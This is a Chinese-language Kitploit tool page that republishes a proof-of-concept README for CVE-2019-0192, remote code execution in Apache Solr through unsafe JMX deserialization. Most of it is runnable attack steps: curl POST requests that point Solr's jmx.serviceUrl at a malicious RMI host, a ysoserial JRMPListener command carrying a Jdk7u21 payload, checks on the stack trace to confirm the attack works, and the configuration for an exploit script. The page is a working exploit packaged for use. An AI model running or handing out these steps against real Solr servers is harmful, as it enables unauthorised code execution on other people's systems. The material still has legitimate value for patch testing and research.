Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/mpgn/cve-2019-0192
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发
GitHubmpgn/cve-2019-0192

CVE-2019-0192

通过 jmx.serviceUrl 反序列化不可信数据,在 Apache Solr 上实现远程代码执行(RCE)

查看仓库
2085537年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-0192 - Apache Solr RCE 5.0.0 至 5.5.5 及 6.0.0 至 6.6.5

这是 Apache Solr RCE 的早期 PoC

来自 https://issues.apache.org/jira/browse/SOLR-13301:

ConfigAPI 允许通过 HTTP POST 请求配置 Solr 的 JMX 服务器。 通过将其指向一个恶意的 RMI 服务器,攻击者可以利用 Solr 的不安全反序列化,在 Solr 端触发远程代码执行。

概念验证

image


通过查看安全公告的描述并检查 Apache Solr 的 ConfigAPI 文档,我们可以找到对 JMX 服务器的引用:

image

serviceUrl - (可选字符串)JMX 服务器的服务 URL。如果未指定,则将使用默认的平台 MBean 服务器。

通过检查 ConfigAPI 的工作方式,我们可以复现如何设置远程 JMX 服务器:

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

对于此 PoC,我将使用 yoserial,利用 Jdk7u21 载荷创建一个恶意 RMI 服务器

  1. 启动恶意 RMI 服务器:
root@kitploit:~
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
  1. 执行 POST 请求:
root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

注意:你应该会收到一个带有完整堆栈跟踪的 500 错误

  1. 检查堆栈跟踪:
  • 如果你看到此错误:"Non-annotation type in annotation serial stream",这意味着 Apache Solr 运行的 Java 版本高于 JRE 7u25,此 PoC 将无法生效

  • 否则你应该会看到此错误:"undeclared checked exception; nested exception is",并且 PoC 应该可以生效。

漏洞利用

  1. 下载 yoserial:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  2. 修改脚本中的值:
root@kitploit:~
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
  1. 然后执行脚本:
root@kitploit:~
python3 CVE-2019-0192.py

安全公告:

  • http://mail-archives.us.apache.org/mod_mbox/www-announce/201903.mbox/%3CCAECwjAV1buZwg%2BMcV9EAQ19MeAWztPVJYD4zGK8kQdADFYij1w%40mail.gmail.com%3E

参考资料:

  • https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties
  • https://issues.apache.org/jira/browse/SOLR-13301
下载工具